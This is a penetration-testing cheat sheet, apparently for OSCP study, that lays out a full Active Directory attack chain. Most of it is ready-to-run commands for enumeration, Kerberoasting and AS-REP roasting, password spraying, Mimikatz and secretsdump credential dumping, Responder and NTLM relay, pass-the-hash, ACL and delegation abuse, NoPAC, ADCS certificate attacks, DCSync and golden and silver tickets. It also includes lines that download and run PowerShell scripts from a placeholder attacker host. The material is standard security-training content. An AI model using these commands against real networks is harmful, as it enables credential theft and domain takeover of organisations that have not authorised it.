Internal Network High Value OSCP Required

Active Directory Attacks

From foothold to Domain Admin - the complete attack playbook

40+ techniques
95% of enterprises use AD
Updated 2026

🗺️ AD Attack Flow

Recon → Foothold → BloodHound → Privesc → Lateral → DA → DCSync

Every engagement follows this pattern. Master each step.

1

Reconnaissance & Enumeration

First contact with AD. Identify domain, users, groups, and attack surface.

Initial Domain Discovery

Get domain name, hostname, SMB signing status
nxc smb <DC_IP>
Enumerate entire subnet for AD hosts
nxc smb 192.168.1.0/24 # Find all SMB hosts

⚠️ SMB Signing Disabled?

You can relay credentials! Check: nxc smb <ip> --gen-relay-list targets.txt

✓ Pro Tip

Add DC hostname to /etc/hosts for Kerberos attacks to work properly

User Enumeration

Null session user enumeration (try this first!)
nxc smb <DC_IP> -u '' -p '' --users # Also try: -u 'guest' -p ''
RID brute force to enumerate users (works when null session fails)
nxc smb <DC_IP> -u '' -p '' --rid-brute
Validate usernames with Kerbrute (stealthy - no logon events!)
kerbrute userenum -d domain.local --dc <DC_IP> users.txt
LDAP anonymous bind (check if allowed)
ldapsearch -x -H ldap://<DC_IP> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

Comprehensive Enumeration

enum4linux-ng - all-in-one enumeration
enum4linux-ng -A <DC_IP> # With creds: -u 'user' -p 'pass'
With valid credentials - enumerate everything
nxc smb <DC_IP> -u user -p 'password' --users nxc smb <DC_IP> -u user -p 'password' --groups nxc smb <DC_IP> -u user -p 'password' --shares nxc smb <DC_IP> -u user -p 'password' --pass-pol

🔥 Quick Win: Password Policy

Check --pass-pol output for lockout threshold. If no lockout → spray passwords! If 5 attempts → spray 4 passwords, wait, repeat.

🔍 PowerView Enumeration (Windows)

When you have Windows access, PowerView gives you deep AD enumeration capabilities.

Load PowerView in memory
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerView.ps1') # Or from disk: Import-Module .\PowerView.ps1
Domain & DC Enumeration
Get-NetDomain # Current domain info Get-NetDomainController # List all DCs Get-DomainPolicy # Domain policies (password policy!) (Get-DomainPolicy).SystemAccess # Password requirements
User & Group Enumeration
Get-NetUser # All domain users Get-NetUser -SPN # Kerberoastable users Get-NetUser | select samaccountname,description # Check descriptions for passwords! Get-NetGroup # All domain groups Get-NetGroupMember -GroupName "Domain Admins"
Computer & Share Enumeration
Get-NetComputer # All domain computers Get-NetComputer -OperatingSystem "*Server*" # Find servers Find-DomainShare # Find all shares Find-DomainShare -CheckShareAccess # Accessible shares only

💡 Pro Tip: Description Goldmine

Always check user descriptions! Lazy admins often store passwords there: Get-NetUser | ? {$_.description} | select name,description

2

BloodHound - Attack Path Mapping

BloodHound visualizes AD relationships and finds attack paths you'd never discover manually. Always run this with valid creds.

What BloodHound collects:

Group memberships, ACLs, sessions, trusts, GPO links, and object properties. It then graphs relationships to find "attack paths" - chains of permissions that lead from your current access to Domain Admin. Edges like "GenericAll", "ForceChangePassword", "AddMember" show exploitable relationships.

Data Collection

Collect from Linux (bloodhound-python)
bloodhound-python -u 'user' -p 'password' -d domain.local -dc dc01.domain.local -c all --zip
Collect from Windows (SharpHound)
.\SharpHound.exe -c all --zipfilename bloodhound.zip # Stealth: -c DCOnly (faster, less noise) # With different creds: --ldapusername USER --ldappassword PASS
PowerShell version (when .exe is blocked)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/SharpHound.ps1') Invoke-BloodHound -CollectionMethod All

Critical BloodHound Queries

Shortest Path to DA

Find Shortest Paths to Domain Admins

Kerberoastable Users

List all Kerberoastable Accounts

AS-REP Roastable

Find AS-REP Roastable Users

Unconstrained Delegation

Find Computers with Unconstrained Delegation

DCSync Rights

Find Principals with DCSync Rights

Owned → DA Path

Shortest Paths from Owned Principals

💡 Mark users as "Owned" in BloodHound as you compromise them. New paths will appear!

3

Kerberos Attacks

🔥 Kerberoasting

Any domain user can request TGS tickets for service accounts. These tickets are encrypted with the service account's password hash - crack offline!

How it works:

When you request a service ticket (TGS), the KDC encrypts part of it with the service account's NTLM hash. The KDC doesn't verify you'll actually use the ticket - it just gives it to you. You then crack the encrypted portion offline with hashcat. Service accounts often have weak passwords and high privileges.

Get all kerberoastable accounts (Linux)
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt
Target specific high-value SPNs
impacket-GetUserSPNs domain.local/user:password -dc-ip <DC_IP> -request-user svc_admin
Rubeus Kerberoast (from Windows)
.\Rubeus.exe kerberoast /stats # Check what's available first .\Rubeus.exe kerberoast /outfile:hashes.txt .\Rubeus.exe kerberoast /user:svc_admin /nowrap # Target specific user
Crack TGS hashes (hashcat mode 13100)
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

🎫 AS-REP Roasting

Target accounts with "Do not require Kerberos preauthentication" enabled. No creds needed to request!

How it works:

Normally, Kerberos requires you prove identity (preauthentication) before issuing tickets. When disabled, the KDC gives you an AS-REP encrypted with the user's hash - no proof needed. You only need valid usernames. This setting is sometimes enabled for legacy apps or misconfiguration.

Find AS-REP roastable users (no creds needed!)
impacket-GetNPUsers domain.local/ -usersfile users.txt -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt
With creds - find all vulnerable users automatically
impacket-GetNPUsers domain.local/user:password -dc-ip <DC_IP> -request
Crack AS-REP hashes (hashcat mode 18200)
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt

Kerberoasting

  • • Requires valid domain creds
  • • Targets service accounts with SPNs
  • • Hash mode: 13100

AS-REP Roasting

  • • NO creds needed (just usernames)
  • • Targets accounts without preauth
  • • Hash mode: 18200
4

Credential Access

🌧️ Password Spraying

Try common passwords against all users. Check lockout policy first!

Spray one password against all users
nxc smb <DC_IP> -u users.txt -p 'Summer2024!' --continue-on-success
Kerbrute spray (stealthy - no Windows logon events!)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Password123!'

💡 Common Spray Passwords

Season+Year (Winter2024!), CompanyName123!, Password1, Welcome1, Changeme1

💀 Credential Dumping

Dump local SAM (requires local admin)
nxc smb <IP> -u admin -p 'password' --sam nxc smb <IP> -u admin -p 'password' --lsa # LSA secrets nxc smb <IP> -u admin -p 'password' --ntds # Domain hashes (DC only)
SAM Registry Dump (on Windows target)
# Save registry hives (run as admin): reg save HKLM\SAM C:\Temp\SAM reg save HKLM\SYSTEM C:\Temp\SYSTEM reg save HKLM\SECURITY C:\Temp\SECURITY # Transfer to attacker, then extract with impacket: impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
Remote hash dump with secretsdump
# With password: impacket-secretsdump domain/admin:'password'@<IP> # With hash: impacket-secretsdump domain/admin@<IP> -hashes :<NTLM>
Remote LSASS dump with procdump
# On target (upload procdump first): procdump.exe -accepteula -ma lsass.exe lsass.dmp # Parse on attacker: pypykatz lsa minidump lsass.dmp
Mimikatz (on Windows target)
mimikatz.exe privilege::debug sekurlsa::logonpasswords # Dump all creds sekurlsa::tickets # Dump Kerberos tickets lsadump::sam # Dump local SAM lsadump::dcsync /user:Administrator # DCSync specific user

📡 LLMNR/NBT-NS Poisoning (Responder)

Poison name resolution requests to capture NTLMv2 hashes. Works when LLMNR/NBT-NS enabled (Windows default)!

Capture hashes with Responder
# Start Responder on your interface sudo responder -I eth0 -wv # Wait for users to mistype share names or browse nonexistent hosts # Hashes saved to: /usr/share/responder/logs/ # Crack captured NTLMv2 hashes hashcat -m 5600 NTLMv2-hashes.txt /usr/share/wordlists/rockyou.txt
NTLM Relay (when SMB signing disabled)
# Generate list of targets without SMB signing nxc smb 192.168.1.0/24 --gen-relay-list targets.txt # Disable SMB/HTTP in Responder.conf first! sudo responder -I eth0 # In another terminal - relay to targets impacket-ntlmrelayx -tf targets.txt -smb2support # Dumps SAM hashes when auth relayed!

⚠️ OPSEC Note

Responder is VERY noisy. In mature environments, ResponderGuard or similar tools will detect poisoning immediately. Use cautiously!

5

Lateral Movement

🔑 Pass-the-Hash (PtH)

Use NTLM hash directly - no need to crack!

Test hash validity
nxc smb <IP> -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # Look for (Pwn3d!) in output = local admin!
Remote execution methods
# PSExec - Creates service, most reliable, NOISY impacket-psexec domain/admin@<IP> -hashes :<NTLM> # WMIExec - Uses WMI, more stealthy impacket-wmiexec domain/admin@<IP> -hashes :<NTLM> # SMBExec - Uses SMB shares impacket-smbexec domain/admin@<IP> -hashes :<NTLM> # Evil-WinRM - Requires WinRM (5985/5986) evil-winrm -i <IP> -u admin -H <NTLM>

PSExec

Noisy (creates service)

WMIExec

Moderate stealth

Evil-WinRM

Cleanest (needs 5985)

🔐 Additional PtH Methods

pth-winexe (Linux - direct shell)
pth-winexe -U domain/admin%aad3b435b51404eeaad3b435b51404ee:<NTLM> //<IP> cmd.exe
smbclient with hash (access shares)
smbclient \\\\<IP>\\C$ -U admin --pw-nt-hash <NTLM>
NetExec - spray hash across subnet
nxc smb 192.168.1.0/24 -u admin -H <NTLM> --local-auth # Look for (Pwn3d!) - indicates local admin!

🔄 Overpass-the-Hash (Pass-the-Key)

Convert NTLM hash to Kerberos ticket - bypass NTLM-blocking controls!

Mimikatz Overpass-the-Hash
mimikatz.exe sekurlsa::pth /user:admin /domain:domain.local /ntlm:<NTLM> /run:powershell.exe # Opens new PS window with admin context - now use Kerberos! klist # Verify TGT obtained
Rubeus Overpass-the-Hash
.\Rubeus.exe asktgt /user:admin /rc4:<NTLM> /ptt # Or with AES key (stealthier): .\Rubeus.exe asktgt /user:admin /aes256:<AES> /ptt

💡 Why Overpass-the-Hash?

Some environments block NTLM auth but allow Kerberos. OPtH converts your hash to a Kerberos ticket, bypassing these controls!

🎫 Pass-the-Ticket (PtT)

Export and import Kerberos tickets (Linux)
# Convert .kirbi to .ccache impacket-ticketConverter ticket.kirbi ticket.ccache # Use the ticket export KRB5CCNAME=ticket.ccache impacket-psexec domain.local/user@dc01.domain.local -k -no-pass
6

DACL & ACL Abuse

DACL misconfigurations allow privilege escalation through object permission abuse. BloodHound finds these automatically!

🔓 GenericWrite / GenericAll

Full control or write access to AD objects. Can modify attributes, reset passwords, or add Shadow Credentials.

Find writable objects (PowerView)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "youruser"} # Look for GenericAll, GenericWrite, WriteOwner, WriteDacl
Add user to group (if GenericWrite on group)
# Linux (Samba net) net rpc group addmem "Domain Admins" lowpriv -U domain.local/lowpriv%password -S <DC_IP> # PowerShell Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv

👑 WriteOwner

Take ownership of an object → modify DACL → grant yourself full control!

Abuse WriteOwner to gain FullControl
# Step 1: Take ownership (Impacket) impacket-owneredit -action write -new-owner lowpriv -target TargetUser -dc-ip <DC_IP> domain.local/lowpriv:password # Step 2: Grant FullControl impacket-dacledit -action write -rights FullControl -principal lowpriv -target TargetUser -dc-ip <DC_IP> domain.local/lowpriv:password

👻 Shadow Credentials

With WriteProperty on a user/computer, add alternate credentials via msDS-KeyCredentialLink. No password change needed!

Add Shadow Credential (pywhisker)
# Add key credential to target pywhisker -d domain.local -u lowpriv -p 'password' --dc-ip <DC_IP> --target TargetUser --action add --filename shadow_key # Saves: shadow_key.pfx and password
Authenticate with Shadow Credential (PKINIT)
# Get TGT with certificate python3 PKINITtools/gettgtpkinit.py domain.local/TargetUser -cert-pfx shadow_key.pfx -pfx-pass <pfx_password> target.ccache # Extract NT hash from TGT python3 PKINITtools/getnthash.py domain.local/TargetUser -key <AS-REP_key> # Use the hash! impacket-wmiexec domain.local/TargetUser@<IP> -hashes :<NT_HASH>

Why Shadow Creds?

  • • No password change = no user lockout
  • • No alerts about password reset
  • • Stealthier than force password change

Windows Tool

Whisker.exe add /target:TargetUser

🔄 Self-Membership Abuse

Self-Membership ACE allows adding yourself to a group. Requires LDAP (net rpc fails)!

Add self to group via LDAP (Python)
# Self-Membership requires LDAP, not RPC! # Use bloodyAD or custom LDAP script bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> add groupMember "Backup Operators" lowpriv

⚠️ Re-Authentication Required

After adding to group, you must re-authenticate (new Kerberos ticket) for group membership to take effect!

7

Delegation Attacks

🔓 Unconstrained Delegation

Computers with unconstrained delegation store TGTs of connecting users. Compromise one → steal tickets!

Find unconstrained delegation computers
# PowerView Get-DomainComputer -Unconstrained # ADSearch ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"
Extract cached TGTs with Rubeus
.\Rubeus.exe triage # List cached tickets .\Rubeus.exe dump /nowrap # Dump all tickets .\Rubeus.exe monitor /interval:5 # Monitor for new tickets

🔐 Constrained Delegation

Find constrained delegation
impacket-findDelegation domain.local/user:password -dc-ip <DC_IP>
Exploit constrained delegation (S4U attack)
impacket-getST -spn cifs/target.domain.local -impersonate Administrator domain.local/svc_sql:password export KRB5CCNAME=Administrator.ccache impacket-psexec target.domain.local -k -no-pass

🔄 Resource-Based Constrained Delegation (RBCD)

With GenericWrite on a computer, configure RBCD to impersonate any user to that computer!

RBCD Attack Chain (Linux)
# Step 1: Create machine account (MAQ > 0 required) impacket-addcomputer -computer-name 'FAKECOMP$' -computer-pass 'FakePass123!' -dc-ip <DC_IP> domain.local/lowpriv:password # Step 2: Configure RBCD on target computer impacket-rbcd -delegate-from 'FAKECOMP$' -delegate-to 'TARGET$' -dc-ip <DC_IP> -action write domain.local/lowpriv:password # Step 3: S4U attack to impersonate Administrator impacket-getST -spn cifs/TARGET.domain.local -impersonate Administrator -dc-ip <DC_IP> domain.local/FAKECOMP$:FakePass123! # Step 4: Use ticket export KRB5CCNAME=Administrator@cifs_TARGET.domain.local@DOMAIN.LOCAL.ccache impacket-psexec TARGET.domain.local -k -no-pass

💡 RBCD Requirements

Need GenericWrite/GenericAll on target computer + MachineAccountQuota > 0 (default is 10) OR existing controlled account with SPN

🎭 NoPAC / sAMAccountName Spoofing

CVE-2021-42278/42287 - Rename account to match DC, request TGT, revert name. KDC issues DC-level ticket!

NoPAC Attack (requires GenericAll on any user)
# Step 1: Clear SPN (required for TGT request) bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> set object victimuser servicePrincipalName # Step 2: Rename to match DC (without $) bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> set object victimuser sAMAccountName -v DC01 # Step 3: Get TGT as "DC01" impacket-getTGT domain.local/DC01:victimpassword -dc-ip <DC_IP> # Step 4: Revert sAMAccountName bloodyAD -d domain.local -u lowpriv -p 'password' --host <DC_IP> set object DC01 sAMAccountName -v victimuser # Step 5: S4U2self - impersonate Administrator KRB5CCNAME=DC01.ccache impacket-getST domain.local/DC01 -self -impersonate Administrator -altservice cifs/DC01.domain.local -k -no-pass -dc-ip <DC_IP> # Step 6: SYSTEM shell on DC! KRB5CCNAME=Administrator@cifs_DC01.domain.local@DOMAIN.LOCAL.ccache impacket-psexec DC01.domain.local -k -no-pass

⚠️ NoPAC Patched

Patched in Nov 2021 (KB5008102/KB5008380). Still works on unpatched systems - check with noPac scanner first!

8

ADCS Certificate Attacks

AD Certificate Services misconfigurations (ESC1-ESC13) allow privilege escalation through PKI abuse. Bypasses VBS/Credential Guard!

🔍 ADCS Enumeration

Find all vulnerable certificate templates
# Certipy - comprehensive ADCS enumeration certipy find -u user@domain.local -p 'password' -dc-ip <DC_IP> -vulnerable -stdout # Outputs: ESC1, ESC2, ESC3, ESC4, ESC6, ESC7, ESC8 findings # Windows - Certify .\Certify.exe find /vulnerable

📜 ESC1 - SAN Impersonation

Template allows enrollee to specify Subject Alternative Name (SAN). Request cert as any user!

ESC1 - Request certificate as Administrator
# Request cert with Admin UPN in SAN certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'VulnTemplate' -upn administrator@domain.local # Authenticate with certificate (PKINIT) certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # Returns NT hash and TGT!

📜 ESC3 - Enrollment Agent Abuse

Request cert on behalf of another user using enrollment agent certificate.

ESC3 - Two-step enrollment agent attack
# Step 1: Get Enrollment Agent certificate certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'EnrollmentAgent' # Step 2: Use it to request cert on behalf of Admin certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'User' -on-behalf-of 'domain\Administrator' -pfx enrollmentagent.pfx

📜 ESC4 - Vulnerable Template ACLs

With WriteDacl/WriteOwner on template, modify it to enable ESC1!

ESC4 - Modify template to enable SAN
# Modify template to allow SAN specification certipy template -u user@domain.local -p 'password' -template 'TargetTemplate' -save-old # Now exploit as ESC1 certipy req -u user@domain.local -p 'password' -ca 'CA-NAME' -template 'TargetTemplate' -upn administrator@domain.local

📜 ESC8 - NTLM Relay to HTTP Enrollment

Relay NTLM authentication to certificate enrollment endpoint. Coerce DC machine account!

ESC8 - NTLM relay to CA web enrollment
# Start relay targeting CA web enrollment certipy relay -ca ca.domain.local -template 'DomainController' # In another terminal - coerce DC authentication python3 PetitPotam.py <ATTACKER_IP> <DC_IP> # Or: Coercer, PrinterBug, DFSCoerce # Certipy receives DC$ certificate, then: certipy auth -pfx dc.pfx -dc-ip <DC_IP>

Template Misconfigs

  • ESC1: Enrollee supplies SAN
  • ESC2: Any Purpose EKU
  • ESC3: Enrollment Agent abuse
  • ESC9: No security extension

ACL & Relay Attacks

  • ESC4: Writable template ACLs
  • ESC7: CA ManageCA rights
  • ESC8: NTLM relay to HTTP
  • ESC11: RPC relay bypass

💡 Why ADCS Bypasses VBS/Credential Guard

ADCS attacks exploit certificate issuance logic, not credential storage. VBS protects LSASS memory; certs authenticate via PKINIT (different path).

9

Domain Dominance

You've reached Domain Admin or equivalent. Time to own everything.

💀 DCSync Attack

Replicate AD data as if you were a DC. Dump every hash in the domain!

How it works:

DCSync abuses the MS-DRSR replication protocol. Domain Controllers use this to sync AD data between each other. If you have DS-Replication-Get-Changes + DS-Replication-Get-Changes-All rights (Domain Admins have these by default), you can request replication of any user's password data - including the krbtgt hash for Golden Tickets.

DCSync - dump all domain hashes (Impacket)
impacket-secretsdump domain.local/admin:password@<DC_IP> # Or with hash: impacket-secretsdump domain.local/admin@<DC_IP> -hashes :<NTLM>
DCSync specific user (faster, less noisy)
impacket-secretsdump -just-dc-user krbtgt domain.local/admin:password@<DC_IP>
DCSync with Mimikatz (from Windows)
mimikatz.exe privilege::debug # DCSync specific user (get krbtgt for golden ticket): lsadump::dcsync /domain:domain.local /user:krbtgt # DCSync Administrator: lsadump::dcsync /domain:domain.local /user:Administrator # Dump all domain users: lsadump::dcsync /domain:domain.local /all /csv

🏆 Golden Ticket

With krbtgt hash, forge tickets for any user. Valid until krbtgt password changes (rarely happens)!

Why Golden Tickets are "game over":

The krbtgt account encrypts/signs all TGTs in the domain. With its hash, you can forge a TGT for any user (even non-existent ones!) with any group memberships. The KDC can't tell the difference. The krbtgt password rarely changes, so Golden Tickets persist through password resets. This is the ultimate persistence mechanism.

Create Golden Ticket with Impacket (Linux)
# Get domain SID first impacket-lookupsid domain.local/admin:password@<DC_IP> # Create golden ticket impacket-ticketer -nthash <KRBTGT_HASH> -domain-sid S-1-5-21-... -domain domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-psexec domain.local/Administrator@dc01.domain.local -k -no-pass
Create Golden Ticket with Mimikatz (Windows)
mimikatz.exe privilege::debug # Create golden ticket (replace values from DCSync output): kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:<KRBTGT_NTLM> /ptt # Verify ticket is loaded: klist # Now access DC: dir \\\\dc01.domain.local\\C$

💡 Getting the krbtgt Hash

Use DCSync to get the krbtgt hash: lsadump::dcsync /domain:domain.local /user:krbtgt - look for the NTLM hash in output.

🚨 Persistence Warning

Golden tickets are incredibly powerful but may trigger alerts in mature environments. Use responsibly and only when authorized!

🥈 Silver Ticket

Forge service ticket using service account hash. Stealthier than Golden - no DC contact needed!

Create Silver Ticket (Linux)
# Silver ticket for CIFS (file access) impacket-ticketer -nthash <SERVICE_HASH> -domain-sid S-1-5-21-... -domain domain.local -spn cifs/target.domain.local Administrator export KRB5CCNAME=Administrator.ccache impacket-smbclient target.domain.local -k -no-pass

Golden vs Silver

  • Golden: krbtgt hash → any service
  • Silver: service hash → one service

Common Silver SPNs

CIFS, HTTP, MSSQLSvc, LDAP, HOST

📋 AD Attack Checklist